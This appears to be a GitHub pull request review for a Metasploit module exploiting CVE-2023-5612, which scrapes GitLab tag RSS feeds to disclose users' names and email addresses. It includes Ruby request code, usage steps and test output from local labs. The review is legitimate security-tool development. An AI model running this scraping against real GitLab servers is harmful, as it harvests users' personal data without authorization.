Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

module for gitlab public email disclosure CVE-2023-5612 #18821

Merged
merged 7 commits into from
Mar 6, 2024

Conversation

n00bhaxor
Copy link
Contributor

Add a module to exploit CVE-2023-5612, public email disclosure in project tags in RSS feed.

Verification

  • Install the application. Docker installation instructions can be found here: https://docs.gitlab.com/ee/install/docker.html
  • Create a new project and a tag within that project.
  • Start msfconsole
  • use /auxiliary/gather/gitlab_tags_rss_feed_email_disclosure
  • set RHOSTS [IP]
  • run
  • You should receive output with user names and email addresses associated with project tags

@h00die
Copy link
Contributor

h00die commented Feb 12, 2024

can be improved by #18723 when it lands, but not a requirement

Comment on lines 9 to 16
### Docker installation instructions can be found here:

https://docs.gitlab.com/ee/install/docker.html

Once installed, create a project. Once the projecte is
created, add a new tag by expanding the Code menu item
on the left, then selecting Tags. Then click on the
New Tag button in the top right corner.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Move this block under Vulnerable Applications block, after the description paragraph

1. You should receive output with user names and email addresses assocaited with project tags

## Options
By default the `TARGETPROJECT` option is empty. This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. If you
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be a H3 item like:

### TARGETPROJECT

This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. If you know the specific project you would like to target, you would need to set that here. Defaults to empty.

end

def get_contents(tags)
print_status('Check RSS tags feed for: ' + tags)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

vprint_status("Check RSS tags feed for: #{tags}")

I chose vprint here so that someone who just wants to copy/paste the username/emails will have that option and not the cruft in between

print_status('Check RSS tags feed for: ' + tags)

# Tag needs to be lower case, so...
tags = tags.split('/')[0] + '/' + tags.split('/')[1].downcase
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}"


res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, tags, '-', 'tags'),
'method' => 'GET', 'vars_get' => { 'format' => 'atom' }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

add a newline after the comma to make this easier to read

)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 || res.code == 301
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is this correct since the module doesn't take credentials?

Comment on lines 66 to 67
if not_found
print_bad('No tags or authors found')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We can make this a little easier to read:

if not_found
  vprint_bad('No tags or authors found')
  return
end

now we can get rid of the else (and end), and un-indent 1 level.

Comment on lines 112 to 113
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This can be removed, its from the webapp template which needs to be updated.

Comment on lines 90 to 111
if datastore['TARGETPROJECT'].nil?
print_good('Scraping ALL projects...')
request = {
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),
'method' => 'GET', 'vars_get' => {
'output_mode' => 'json'
}
}

res = send_request_cgi(request)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200

res.get_json_document.each do |entry|
tags = entry['path_with_namespace']
get_contents(tags)
end

else
get_contents(datastore['TARGETPROJECT'].to_s)
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would re-arrange this, similar to above.

unless datastore['TARGETPROJECT'].nil?
  get_contents(datastore['TARGETPROJECT'].to_s)
  return
end

then you can remove the else (and trailing end), and unindent by 1 level

print_good('Scraping ALL projects...')
request = {
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),
'method' => 'GET', 'vars_get' => {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

add a newline after the comma to make it a little easier to read

# Tag needs to be lower case, so...
tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}"

res = send_request_cgi(
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We should check to ensure res does not get returned as nil

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?


print_good('Scraping ALL projects...')
request = {
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you know if older vulnerable versions will respond to /api/v4 ?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like v4 has been around since 2018: https://gitlab.com/gitlab-org/gitlab/-/commit/e1b25b0fedb5e0a72063e14feff0bde1c93447d7

I'm skeptical that this vuln would even work on something that old due to other urls or url formats changing

'erruquill' # HackerOne Bug Bounty, analysis
],
'References' => [
[ 'URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/428441' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is returning a 404 for me currently

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

looks like this was linked in the CVE report, but is now gone, and archive.org didn't catch it.

I think replacing with this may work: https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for making the requested changes @n00bhaxor! Looks great. After testing I just have one suggestion.

Testing on GitLab 16.7.0:

msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > options

Module options (auxiliary/gather/gitlab_tags_rss_feed_email_disclosure):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          6780             yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETPROJECT                   no        Workspace and project to target
   TARGETURI      /                yes       The URI of the GitLab Application
   VHOST                           no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > set targetproject root/public_project
targetproject => root/public_project
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1

[*] Check RSS tags feed for: root/public_project
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > unset targetproject
Unsetting targetproject...
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1

[+] Scraping ALL projects...
[*] Check RSS tags feed for: root/test
[-] No tags or authors found
[*] Check RSS tags feed for: root/public_project
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed

@jheysel-r7 jheysel-r7 self-assigned this Mar 1, 2024
@cdelafuente-r7
Copy link
Contributor

@msjenkins-r7 test this please

@cdelafuente-r7
Copy link
Contributor

Thanks for your contribution @n00bhaxor ! I looks good to me. I made some minor changes in f872535 and I'll land it shortly. I tested against a docker installation and verified the leaked information was correctly displayed.

  • Example output:
msf6 auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run verbose=true rhosts=127.0.0.1
[*] Running module against 127.0.0.1

[+] Scraping ALL projects...
[*] Check RSS tags feed for: msfuser/msftest2
[+] name: Test Msf
[+] e-mail: [email protected]
[*] Check RSS tags feed for: root/testmsf
[+] name: GitLab
[+] e-mail: root@localhost
[*] Auxiliary module execution completed

@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Mar 6, 2024
@cdelafuente-r7 cdelafuente-r7 merged commit 1124e34 into rapid7:master Mar 6, 2024
34 of 35 checks passed
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds an auxiliary module that leverages an information disclosure vulnerability (CVE-2023-5612) in Gitlab versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 to retrieve user email addresses via tags feed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants